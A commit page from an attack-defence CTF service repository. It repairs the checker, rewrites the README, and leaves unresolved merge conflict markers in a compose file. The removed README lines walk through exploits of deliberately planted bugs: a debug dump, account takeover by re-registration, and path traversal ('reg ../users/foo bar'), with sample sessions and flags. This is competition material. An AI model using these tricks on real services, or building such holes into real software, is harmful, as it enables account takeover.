Skip to content

Commit 74a600f

Browse files
author
Robert Quander
committed
Checker repair and Readme start, will finish tomorrow.
1 parent 8ce499e commit 74a600f

File tree

3 files changed

+75
-140
lines changed

3 files changed

+75
-140
lines changed

checker/docker-compose.yaml

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,10 @@ services:
2424
nproc:
2525
soft: 4000
2626
hard: 4000
27+
<<<<<<< HEAD
2728

29+
=======
30+
>>>>>>> 69893c4 (Checker repair and Readme start, will finish tomorrow.)
2831
# The python checkerlib requires a mongo db!
2932
facepalm-mongo:
3033
image: mongo
@@ -45,4 +48,8 @@ services:
4548
hard: 0
4649
nproc:
4750
soft: 4000
51+
<<<<<<< HEAD
4852
hard: 4000
53+
=======
54+
hard: 4000
55+
>>>>>>> 69893c4 (Checker repair and Readme start, will finish tomorrow.)

checker/src/checker.py

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -82,6 +82,25 @@ async def create_post(self, text: str) -> str:
8282
return match.group(1)
8383

8484
async def get_post(self, post_id: str) -> str:
85+
resp = await self.client.get(f"/profile/{post_id}")
86+
if resp.status_code != 200:
87+
self.logger.error(f"Failed to retrieve post {post_id}, status {resp.status_code}")
88+
raise MumbleException("Failed to retrieve relevant information")
89+
90+
try:
91+
match = re.search(r'<p>DEBUG:(.*?)</p>', resp.text)
92+
r = match.group(1)
93+
d = html.unescape(r)
94+
self.logger.debug(f"Extracted debug comment: {d}")
95+
assert d, "No debug comment found in HTML"
96+
return d
97+
except Exception as e:
98+
self.logger.error(f"Failed to extract debug comment from post {post_id}: {e}")
99+
raise MumbleException("Failed to extract post content")
100+
101+
102+
103+
async def old_get_post(self, post_id: str) -> str:
85104

86105
resp = await self.client.get(f"/profile/{post_id}")
87106
if resp.status_code != 200:

documentation/README.md

Lines changed: 49 additions & 140 deletions
Original file line numberDiff line numberDiff line change
@@ -1,166 +1,75 @@
1-
Service documentation
2-
======================
3-
This is the place to keep important documentation details about your service.
1+
Facepalm Documentation
2+
===
43

5-
# Vulnerabilities
4+
## Table of Contents
65

7-
Please keep track of your intended vulnerabilities here:
6+
- [Facepalm Documentation](#facepalm-documentation)
7+
- [Table of Contents](#table-of-contents)
8+
- [1. Introduction](#1-introduction)
9+
- [2. Architecture Overview](#2-architecture-overview)
10+
- [3. Installation](#3-installation)
11+
- [3.1 Clone the Repository](#31-clone-the-repository)
12+
- [3.2 Running the Service](#32-running-the-service)
13+
- [3.3 Running the Checker](#33-running-the-checker)
814

9-
## Debug enabled
1015

11-
- Category: Misconfiguration
12-
- Difficulty: Easy
16+
## 1. Introduction
1317

14-
When `self.debug` is set to `True`, the `dump` command will list all users and their notes.
18+
Facepalm is a facebook derivative written in Swift, that lets users
19+
- create posts (privately or publically) containing
20+
- text
21+
- images (optinional)
22+
- view all public posts made by others
23+
- create events
24+
- view all events
25+
- infos about one event
26+
- sign up for events
27+
- grant users access to an event (if they are a member (=accepted or creator of event))
1528

16-
## Account Takeover
29+
An event contains a **public description** to make the event interesting to people, an optional **public image**, a **public title**, a **public date (optionally time)** and a **private location** as well as **private notes**. Private items can only be viewed when access to the event is granted.
1730

18-
- Category: Authentication
19-
- Difficulty: Medium
31+
## 2. Architecture Overview
2032

21-
When registering a new user, the service does not check if the user already exists and simply overwrites the password (`self.users[reg_user] = reg_pw`). The list of existing users can be obtained with the `user` command.
33+
Facepalm consists of two main components:
34+
- The service: It provides the core functionality and is everything the players will directly interact with
35+
- The checker: It interacts with the service by
36+
- submitting flags
37+
- verifying the percistence of the submitted flags
38+
- Ensures the expected behaviour and avalablitly of the service
2239

23-
## Arbitrary Read or Write (Account Takeover v2)
40+
## 3. Installation
2441

25-
- Category: Path traversal
26-
- Difficulty: Medium
42+
Here, we give a quick overview of how to get, set up and run both facepalm itself as well as the checker to interact with it.
2743

28-
The `FilesystemDict` uses user-supplied input when constructing the file paths. This could be used to write JSON-encoded data to any files.
44+
As a prerequisite, only docker needs to be installed and running. All Commands for Linux/Mac.
2945

30-
The impact has to be further analyzed. It at least leads to another account takeover (overwrite the password for other users, i.e. using `reg ../users/foo bar`).
46+
### 3.1 Clone the Repository
3147

32-
*Note:* Without a proper impact analysis, we would classify this issue as a `unintended` vulnerability. Please try to keep such issues to a minimum and document them nonetheless.
48+
First, the Repo needs to be cloned:
3349

34-
# Exploits
35-
36-
For each vulnerability, you should have a working example exploit ready!
37-
38-
## Debug enabled:
39-
40-
Connect to the service and run `dump`:
50+
```bash
51+
git clone https://github.com/enowars/enowars9-service-facepalm.git
4152

53+
cd enowars9-service-facepalm
4254
```
43-
gehaxelt@LagTop ~> nc 192.168.2.112 2323
44-
Welcome to the 1337 n0t3b00k!
45-
> dump
46-
Users:
47-
test:test
48-
foo:bar
49-
Note 0:acbd18db4cc2f85cedef654fccc4a4d8:foo
50-
Note 1:37b51d194a7513e45b56f6524f2d51f2:bar
51-
Note 2:acbd18db4cc2f85cedef654fccc4a4d8:foo
52-
4FOBMO10HWLC:EDPWN79U2KNL
53-
I4K3P0SK3PST:CK5FALD39Y0S
54-
B70YKMW72KUR:79Y5IM7FD7O8
55-
GB7QC0DKYXPS:89TY8HI6OCBA
56-
NXPTITQUSN2M:WYIWSGRZNKTX
57-
6699DPYPAQDL:7IFEPP3P3LBI
58-
Note 0:73c94f6925fea8202b5b96dbc018ad00:ENOTESTFLAG
59-
MPG81XWFHNE8:H8KP8VECBQOR
60-
Note 0:73c94f6925fea8202b5b96dbc018ad00:ENOTESTFLAG
61-
QN973IXF53HT:9BUVY6JNMGIW
62-
Note 0:73c94f6925fea8202b5b96dbc018ad00:ENOTESTFLAG
63-
UI2WTY7E7KC5:87SB830QHVX3
64-
Note 0:73c94f6925fea8202b5b96dbc018ad00:ENOTESTFLAG
65-
XXPLIXZ9ZN1Q:F88L3J4GA2LE
66-
Note 0:73c94f6925fea8202b5b96dbc018ad00:ENOTESTFLAG
67-
N43LU1348D19:YWT9TFCSVA2T
68-
Note 0:73c94f6925fea8202b5b96dbc018ad00:ENOTESTFLAG
69-
3DP6COPE6GMX:OI9437MJORZR
70-
Note 0:73c94f6925fea8202b5b96dbc018ad00:ENOTESTFLAG
71-
I8ZUNTWZ0Y0Q:B3AI1LN9SAAE
72-
Note 0:73c94f6925fea8202b5b96dbc018ad00:ENOTESTFLAG
73-
JUACZ5J3D475:5RNZ1ETOFBS6
74-
Note 0:73c94f6925fea8202b5b96dbc018ad00:ENOTESTFLAG
75-
KGFZNGHROLUS:05826L6X39XM
76-
Note 0:73c94f6925fea8202b5b96dbc018ad00:ENOTESTFLAG
77-
FV9VM13K8MGF:POUIW5CM6PY2
78-
Note 0:73c94f6925fea8202b5b96dbc018ad00:ENOTESTFLAG
79-
XAHOKR4QD63O:VENSD82XO1XM
80-
Note 0:199480a3640248d5ea679b596d91c350:SKLNAYZAG7QX65RTMW3DCZAKPS9OC0TFH6GH
81-
```
82-
83-
The flags are in the output.
8455

85-
## Account Takeover
56+
### 3.2 Running the Service
8657

87-
Connect to the service and use the `user` command to obtain a list of users:
58+
After cloning the repository, navigate into the ``service`` directory to launch the service using docker compose.
8859

89-
```
90-
gehaxelt@LagTop ~ [130]> nc 192.168.2.112 2323
91-
Welcome to the 1337 n0t3b00k!
92-
> user
93-
User 0: test
94-
User 1: foo
95-
User 2: 4FOBMO10HWLC
96-
User 3: I4K3P0SK3PST
97-
User 4: B70YKMW72KUR
98-
User 5: GB7QC0DKYXPS
99-
User 6: NXPTITQUSN2M
100-
User 7: 6699DPYPAQDL
101-
User 8: MPG81XWFHNE8
102-
User 9: QN973IXF53HT
103-
User 10: UI2WTY7E7KC5
104-
User 11: XXPLIXZ9ZN1Q
105-
User 12: N43LU1348D19
106-
User 13: 3DP6COPE6GMX
107-
User 14: I8ZUNTWZ0Y0Q
108-
User 15: JUACZ5J3D475
109-
User 16: KGFZNGHROLUS
110-
User 17: FV9VM13K8MGF
111-
User 18: XAHOKR4QD63O
60+
```bash
61+
cd service
62+
docker compose up --build -d
11263
```
11364

114-
Use the username(s) and the `reg` command to set a different password. Next, `log`in as the user, `list` their notes and obtain the flag:
65+
*Note: It could take some time for compilation, Swift build times are a little much sometimes*
11566

116-
```
117-
> reg XAHOKR4QD63O foo
118-
User successfully registered
119-
> log XAHOKR4QD63O foo
120-
Successfully logged in!
121-
> list
122-
Note 0: 199480a3640248d5ea679b596d91c350
123-
> get 199480a3640248d5ea679b596d91c350
124-
SKLNAYZAG7QX65RTMW3DCZAKPS9OC0TFH6GH
125-
```
126-
127-
## Arbitrary Read or Write (Account Takeover v2)
67+
### 3.3 Running the Checker
12868

129-
Connect to the service and list all users:
69+
In the same fashion as the service has been started, the checker can be deployed by naviating to the `checker` directory, and launching it with docker compose by
13070

71+
```bash
72+
cd checker
73+
docker compose up --build -d
13174
```
132-
gehaxelt@LagTop ~/C/A/e/service-example (cleanup)> nc 192.168.2.112 2323
133-
Welcome to the 1337 n0t3b00k!
134-
> users
135-
User 0: 0WTC89S0Y67Y
136-
User 1: HWG5RBYEQX3Y
137-
User 2: XK2UJAC7KWMB
138-
User 3: CF8TFV304DMO
139-
User 4: E9XAV2ACHRY0
140-
User 5: SHBSC21EC963
141-
User 6: AC1MSHQS7HE8
142-
User 7: OVTN3ZXRO7X0
143-
User 8: IM03X7OWDEV7
144-
User 9: NQST4C3ABWLD
145-
User 10: VS7ZY06LELHI
146-
User 11: WFS6JGH8DDYO
147-
User 12: WBAYX5MLDMIG
148-
User 13: H4YXGNP9D3GS
149-
User 14: S735UCC1O7FE
150-
User 15: foo
151-
```
152-
153-
Use the username(s) and the `reg` command to set a new password by abusing the path traversal bug:
15475

155-
```
156-
gehaxelt@LagTop ~/C/A/e/service-example (cleanup)> nc 192.168.2.112 2323
157-
Welcome to the 1337 n0t3b00k!
158-
> reg ../users/foo bar
159-
User successfully registered
160-
> log foo bar
161-
Successfully logged in!
162-
> list
163-
Note 0: 581f1b0f439b22d1d2c617d1e8963505
164-
> get 581f1b0f439b22d1d2c617d1e8963505
165-
ENOTESTFLAG
166-
```

0 commit comments

Comments
 (0)